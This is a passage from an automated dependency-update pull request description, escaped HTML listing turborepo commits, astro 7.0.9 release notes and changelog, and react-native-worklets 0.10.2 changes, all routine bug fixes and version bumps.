href=\"https://github.com/vercel/turborepo/commit/ed1724965d854cd9c2f8b71a0fa826ec786be161\"\u003e\u003ccode\u003eed17249\u003c/code\u003e\u003c/a\u003e fix: Synchronize Cargo prune Docker lockfile (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13350\"\u003e#13350\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/d53326620df104df16808425674ece8be0eb3529\"\u003e\u003ccode\u003ed533266\u003c/code\u003e\u003c/a\u003e fix: Hash Cargo build environment inputs (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13348\"\u003e#13348\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/ef122d98ae4a6ab90ad65af86f6ff1dd57de8b4f\"\u003e\u003ccode\u003eef122d9\u003c/code\u003e\u003c/a\u003e ci: Shard Rust tests across runners (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13356\"\u003e#13356\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/b3cd7a1ecc1d87031616d754967b80bf3c6ed14e\"\u003e\u003ccode\u003eb3cd7a1\u003c/code\u003e\u003c/a\u003e fix: Include patched Ghostty crate in Cargo workspace (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13357\"\u003e#13357\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f82e2c7e4879d031f49e62c5fd1d7a52ec7f9e53\"\u003e\u003ccode\u003ef82e2c7\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.6 (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13355\"\u003e#13355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/e76f0b4b04e79d42edc5f6cd1167c605bd3862b1\"\u003e\u003ccode\u003ee76f0b4\u003c/code\u003e\u003c/a\u003e fix: Isolate Command Overrides From Toolchain Cache I/O (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13354\"\u003e#13354\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vercel/turborepo/compare/v2.10.3...v2.10.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `astro` from 7.0.6 to 7.0.9\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/withastro/astro/releases\"\u003eastro's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eastro@7.0.9\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17286\"\u003e#17286\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/a249317e4d03ead215838a5f6f0e6fe70444d5d4\"\u003e\u003ccode\u003ea249317\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes the first browser visit after \u003ccode\u003eastro dev\u003c/code\u003e starts triggering an immediate full page reload\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17369\"\u003e#17369\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/a94d4a5afde1fd6de76cb2904703df7eb984b3f0\"\u003e\u003ccode\u003ea94d4a5\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/adamchal\"\u003e\u003ccode\u003e@​adamchal\u003c/code\u003e\u003c/a\u003e! - Fixes an issue where a client island could permanently fail to hydrate if the first attempt to load its component failed. Islands now reliably recover from transient import failures, which previously did not work for React components during \u003ccode\u003eastro dev\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eastro@7.0.8\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17363\"\u003e#17363\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/3f4efc5d2f4cf2e38f983bf5842bbd953b5bf923\"\u003e\u003ccode\u003e3f4efc5\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes \u003ccode\u003eastro preview --open\u003c/code\u003e not opening a browser when using an adapter with a custom preview entrypoint, such as \u003ccode\u003e@astrojs/cloudflare\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17313\"\u003e#17313\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/e2e319d4a61bf6b9eff5224c51d8433dfeb9153b\"\u003e\u003ccode\u003ee2e319d\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ronits2407\"\u003e\u003ccode\u003e@​ronits2407\u003c/code\u003e\u003c/a\u003e! - Exposes the \u003ccode\u003eAstroRuntimeLogger\u003c/code\u003e interface to allow users to properly type the logger functions at runtime.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17328\"\u003e#17328\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/025cc747d3eac4241cb4015a8789963970b0480a\"\u003e\u003ccode\u003e025cc74\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/matthewp\"\u003e\u003ccode\u003e@​matthewp\u003c/code\u003e\u003c/a\u003e! - Fixes \u003ccode\u003eastro dev --force\u003c/code\u003e not replacing an already-running dev server\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17353\"\u003e#17353\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/2bba2775e12285b5d7ed0710c6579d808817704d\"\u003e\u003ccode\u003e2bba277\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Updates the Astro compiler to the latest version, which fixes many regressions. Refer to the \u003ca href=\"https://github.com/withastro/compiler-rs/releases/tag/%40astrojs/compiler-rs%400.3.1\"\u003echangelog\u003c/a\u003e for more details.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17344\"\u003e#17344\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/79a41e06add3cbb144809f88a0b5ac88d2f8e7d1\"\u003e\u003ccode\u003e79a41e0\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/adamchal\"\u003e\u003ccode\u003e@​adamchal\u003c/code\u003e\u003c/a\u003e! - Improves rendering performance for pages with many component instances, such as repeated MDX \u003ccode\u003e\u0026lt;Content /\u0026gt;\u003c/code\u003e components.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/withastro/astro/commit/64b0d6667eabd8fe51643dfdab7004670e319810\"\u003e\u003ccode\u003e64b0d66\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/markdown-satteri\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.3.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eastro@7.0.7\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17318\"\u003e#17318\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/23a4120b1ba546521ed66c09cb39e346aee6b75a\"\u003e\u003ccode\u003e23a4120\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes CSS module scoped-name hash mismatch in \u003ccode\u003eastro dev\u003c/code\u003e when using \u003ccode\u003evite.css.transformer: 'lightningcss'\u003c/code\u003e with content collections. Previously, a component importing a CSS module and rendered via content collection \u003ccode\u003erender()\u003c/code\u003e would get different class name hashes in the element and the injected \u003ccode\u003e\u0026lt;style\u0026gt;\u003c/code\u003e tag, causing styles not to apply.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17323\"\u003e#17323\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Fixes a dev server memory leak which caused Node.js to emit warnings in the console.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17323\"\u003e#17323\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Fixes a dev server crash when a \u003ccode\u003e.html\u003c/code\u003e or \u003ccode\u003e/index.html\u003c/code\u003e suffixed request (such as those \u003ccode\u003enetlify dev\u003c/code\u003e probes as pretty-URL fallbacks) matched a dynamic endpoint route, causing a \u003ccode\u003eTypeError: Missing parameter\u003c/code\u003e error\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17325\"\u003e#17325\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/cebc40495cd09e8036af34c2f668fc2965e089b0\"\u003e\u003ccode\u003ecebc404\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes a bug where CSS \u003ccode\u003e@import\u003c/code\u003e rules could end up mid-stylesheet after inline CSS chunks were merged during build, causing browsers to silently ignore them\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17323\"\u003e#17323\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Fixes a build regression that could leave unresolved preload markers in inlined scripts with external dynamic imports\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/telemetry\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.3.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md\"\u003eastro's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e7.0.9\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17286\"\u003e#17286\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/a249317e4d03ead215838a5f6f0e6fe70444d5d4\"\u003e\u003ccode\u003ea249317\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes the first browser visit after \u003ccode\u003eastro dev\u003c/code\u003e starts triggering an immediate full page reload\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17369\"\u003e#17369\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/a94d4a5afde1fd6de76cb2904703df7eb984b3f0\"\u003e\u003ccode\u003ea94d4a5\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/adamchal\"\u003e\u003ccode\u003e@​adamchal\u003c/code\u003e\u003c/a\u003e! - Fixes an issue where a client island could permanently fail to hydrate if the first attempt to load its component failed. Islands now reliably recover from transient import failures, which previously did not work for React components during \u003ccode\u003eastro dev\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.0.8\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17363\"\u003e#17363\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/3f4efc5d2f4cf2e38f983bf5842bbd953b5bf923\"\u003e\u003ccode\u003e3f4efc5\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes \u003ccode\u003eastro preview --open\u003c/code\u003e not opening a browser when using an adapter with a custom preview entrypoint, such as \u003ccode\u003e@astrojs/cloudflare\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17313\"\u003e#17313\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/e2e319d4a61bf6b9eff5224c51d8433dfeb9153b\"\u003e\u003ccode\u003ee2e319d\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ronits2407\"\u003e\u003ccode\u003e@​ronits2407\u003c/code\u003e\u003c/a\u003e! - Exposes the \u003ccode\u003eAstroRuntimeLogger\u003c/code\u003e interface to allow users to properly type the logger functions at runtime.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17328\"\u003e#17328\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/025cc747d3eac4241cb4015a8789963970b0480a\"\u003e\u003ccode\u003e025cc74\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/matthewp\"\u003e\u003ccode\u003e@​matthewp\u003c/code\u003e\u003c/a\u003e! - Fixes \u003ccode\u003eastro dev --force\u003c/code\u003e not replacing an already-running dev server\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17353\"\u003e#17353\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/2bba2775e12285b5d7ed0710c6579d808817704d\"\u003e\u003ccode\u003e2bba277\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Updates the Astro compiler to the latest version, which fixes many regressions. Refer to the \u003ca href=\"https://github.com/withastro/compiler-rs/releases/tag/%40astrojs/compiler-rs%400.3.1\"\u003echangelog\u003c/a\u003e for more details.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17344\"\u003e#17344\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/79a41e06add3cbb144809f88a0b5ac88d2f8e7d1\"\u003e\u003ccode\u003e79a41e0\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/adamchal\"\u003e\u003ccode\u003e@​adamchal\u003c/code\u003e\u003c/a\u003e! - Improves rendering performance for pages with many component instances, such as repeated MDX \u003ccode\u003e\u0026lt;Content /\u0026gt;\u003c/code\u003e components.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/withastro/astro/commit/64b0d6667eabd8fe51643dfdab7004670e319810\"\u003e\u003ccode\u003e64b0d66\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/markdown-satteri\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.3.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.0.7\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17318\"\u003e#17318\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/23a4120b1ba546521ed66c09cb39e346aee6b75a\"\u003e\u003ccode\u003e23a4120\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes CSS module scoped-name hash mismatch in \u003ccode\u003eastro dev\u003c/code\u003e when using \u003ccode\u003evite.css.transformer: 'lightningcss'\u003c/code\u003e with content collections. Previously, a component importing a CSS module and rendered via content collection \u003ccode\u003erender()\u003c/code\u003e would get different class name hashes in the element and the injected \u003ccode\u003e\u0026lt;style\u0026gt;\u003c/code\u003e tag, causing styles not to apply.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17323\"\u003e#17323\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Fixes a dev server memory leak which caused Node.js to emit warnings in the console.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17323\"\u003e#17323\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Fixes a dev server crash when a \u003ccode\u003e.html\u003c/code\u003e or \u003ccode\u003e/index.html\u003c/code\u003e suffixed request (such as those \u003ccode\u003enetlify dev\u003c/code\u003e probes as pretty-URL fallbacks) matched a dynamic endpoint route, causing a \u003ccode\u003eTypeError: Missing parameter\u003c/code\u003e error\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17325\"\u003e#17325\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/cebc40495cd09e8036af34c2f668fc2965e089b0\"\u003e\u003ccode\u003ecebc404\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes a bug where CSS \u003ccode\u003e@import\u003c/code\u003e rules could end up mid-stylesheet after inline CSS chunks were merged during build, causing browsers to silently ignore them\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17323\"\u003e#17323\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Fixes a build regression that could leave unresolved preload markers in inlined scripts with external dynamic imports\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/telemetry\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.3.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/e7d79350659b1910ee88e9e78df13721962773e0\"\u003e\u003ccode\u003ee7d7935\u003c/code\u003e\u003c/a\u003e [ci] release (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/17373\"\u003e#17373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/a249317e4d03ead215838a5f6f0e6fe70444d5d4\"\u003e\u003ccode\u003ea249317\u003c/code\u003e\u003c/a\u003e fix: prevent spurious full-reload on first browser visit after dev server sta...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/a94d4a5afde1fd6de76cb2904703df7eb984b3f0\"\u003e\u003ccode\u003ea94d4a5\u003c/code\u003e\u003c/a\u003e fix(astro-island): use query param for hydration import retry so recovery wor...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/dec769217f62b4f7546b448c4e9f947bda4422c8\"\u003e\u003ccode\u003edec7692\u003c/code\u003e\u003c/a\u003e [ci] release (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/17338\"\u003e#17338\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/3048391b488223809b3cb78524f06e6e9e20b87c\"\u003e\u003ccode\u003e3048391\u003c/code\u003e\u003c/a\u003e refactor(test): migrate vite virtual module tests from e2e to integration (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/3f4efc5d2f4cf2e38f983bf5842bbd953b5bf923\"\u003e\u003ccode\u003e3f4efc5\u003c/code\u003e\u003c/a\u003e fix: pass \u003ccode\u003eopen\u003c/code\u003e option to adapter preview entrypoints (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/17362\"\u003e#17362\u003c/a\u003e)\\n\\nAdd \u003ccode\u003eopen\u003c/code\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/79a41e06add3cbb144809f88a0b5ac88d2f8e7d1\"\u003e\u003ccode\u003e79a41e0\u003c/code\u003e\u003c/a\u003e Improve rendering performance for pages with many components (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/17344\"\u003e#17344\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/2bba2775e12285b5d7ed0710c6579d808817704d\"\u003e\u003ccode\u003e2bba277\u003c/code\u003e\u003c/a\u003e fix: update the compiler to the latest (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/17353\"\u003e#17353\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/025cc747d3eac4241cb4015a8789963970b0480a\"\u003e\u003ccode\u003e025cc74\u003c/code\u003e\u003c/a\u003e Fix astro dev --force not replacing a running dev server (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/17328\"\u003e#17328\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/1b33c1f37dcace102cc39163c44f214168ece3d6\"\u003e\u003ccode\u003e1b33c1f\u003c/code\u003e\u003c/a\u003e fix(routing): prevent trailing slash on file extension endpoint paths in stri...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/withastro/astro/commits/astro@7.0.9/packages/astro\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-native-worklets` from 0.10.1 to 0.10.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/software-mansion/react-native-reanimated/releases\"\u003ereact-native-worklets's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eWorklets - 0.10.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echerry-pick(worklets-0.10-stable): read from path which starts with '/' in ScriptBufferWrapper.kt (\u003ca href=\"https://github.com/software-mansion/react-native-reanimated/tree/HEAD/packages/react-native-worklets/issues/9503\"\u003e#9503\u003c/a\u003e) by \u003ca href=\"https://github.com/tjzel\"\u003e\u003ccode\u003e@​tjzel\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/software-mansion/react-native-reanimated/pull/9881\"\u003esoftware-mansion/react-native-reanimated#9881\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eredesign: removed erroring when can't createSerializable by \u003ca href=\"https://github.com/tshmieldev\"\u003e\u003ccode\u003e@​tshmieldev\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/software-mansion/react-native-reanimated/pull/9884\"\u003esoftware-mansion/react-native-reanimated#9884\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(Worklets): 0.10.2 by \u003ca href=\"https://github.com/tjzel\"\u003e\u003ccode\u003e@​tjzel\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/software-mansion/react-native-reanimated/pull/9885\"\u003esoftware-mansion/react-native-reanimated#9885\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/software-mansion/react-native-reanimated/compare/worklets-0.10.1...worklets-0.10.2\"\u003ehttps://github.com/software-mansion/react-native-reanimated/compare/worklets-0.10.1...worklets-0.10.2\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/software-mansion/react-native-reanimated/commit/3c04eb6d61ca4f43a10a5c04f127fa6f7a9de7ad\"\u003e\u003ccode\u003e3c04eb6\u003c/code\u003e\u003c/a\u003e release(Worklets): 0.10.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/software-mansion/react-native-reanimated/commit/1d2942f3ee83178c17a6efd60a21c268044a0eed\"\u003e\u003ccode\u003e1d2942f\u003c/code\u003e\u003c/a\u003e removed warn\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/software-mansion/react-native-reanimated/commit/10a562508f4062c06758f339f49fbcacbd7971cc\"\u003e\u003ccode\u003e10a5625\u003c/code\u003e\u003c/a\u003e Changed error to warning in createSerializable unserializable code 